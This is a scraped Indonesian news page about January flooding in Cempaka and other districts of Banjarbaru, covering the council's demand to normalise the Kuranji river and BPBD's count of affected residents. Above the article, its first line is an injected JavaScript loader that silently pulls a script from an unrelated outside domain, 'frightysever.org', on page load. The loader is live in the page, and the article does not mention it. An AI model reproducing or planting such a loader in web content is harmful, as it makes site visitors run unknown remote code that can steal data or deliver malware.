(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dewan Banjarbaru Desak Pemko Segera Lakukan Normalisasi Sungai


BANJARBARU, Kepanikan melanda warga Kecamatan Cempaka, saat air mulai meluap menyerbu tempat tinggal mereka. Pagi itu, Minggu (5/1), rutinitas berganti dengan hilir mudik orang menyelamatkan harta bendanya. Termasuk mengevakuasi anggota keluarga ke lokasi lebih aman dari terjangan banjir. BPBD mencatat korban terdampak banjir di Cempaka mencapai 1.733 jiwa.

Maka tak salah, agar bencana itu tak lagi terulang di tengah puncak musim hujan saat ini, DPRD Banjarbaru meminta pemerintah bertindak cepat. Salah satunya, menormalisasi sungai Kuranji yang menjadi penyebab banjir.

Wakil Ketua Komisi III DPRD Banjarbaru Taufik Rachman meminta ke depannya Pemko selaku pemangku kepentingan bisa melakukan kajian ulang terkait musibah banjir di Cempaka.

Pada tahun 2019, DPRD Banjarbaru melalui Komisi III bersama Dinas PUPR telah melakukan kunjungan ke lokasi banjir di Cempaka. Sejumlah fakta di lapangan telah menjadi catatan para wakil rakyat yang membidangi tugas-tugas pembangunan tersebut.

Dari hasil peninjauan kala itu, disepakati akan dilakukannya normalisasi sungai. Komisi III DPRD Banjarbaru meminta Dinas PUPR untuk melakukan pengerukan dan juga pelebaran sungai. Namun, lantaran pemukiman warga yang berdiam di sepanjang bantaran sungai. Tapi, permintaan tersebut lantas tidak berjalan mulus.

Yang menjadi catatan, normalisasi Sungai Kuranji baru bisa dilakukan sepanjang 1,3 kilometer dengan rata-rata lebar kurang lebih 6 meter. Sebelum dilakukan normalisasi, sungai ini memiliki lebar yang bervariasi, antara 2 sampai 3 meter. Bahkan, sungai ini juga sempat terputus beberapa tahun yang lalu.

Kepala Pelaksana BPBD Banjarbaru Zaini mengatkan, banjir tak hanya terjadi di Cempaka. Tapi juga di sejumlah kecamatan lain seperti Liang Anggang dengan total 38 jiwa, Banjarbaru Selatan 706 jiwa, dan Landasan Ulin 32 jiwa.

“Saat ini selain telah mengobservasi, BPBD juga berkoordinasi dengan intansi terkait. Mendirikan tenda dapur umum di lokasi kejadian. Tenda dapur umum sudah ada sejak kemarin, dari dinas sosial kota Banjarbaru dan Kabupaten Banjar,” ungkapnya.(rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.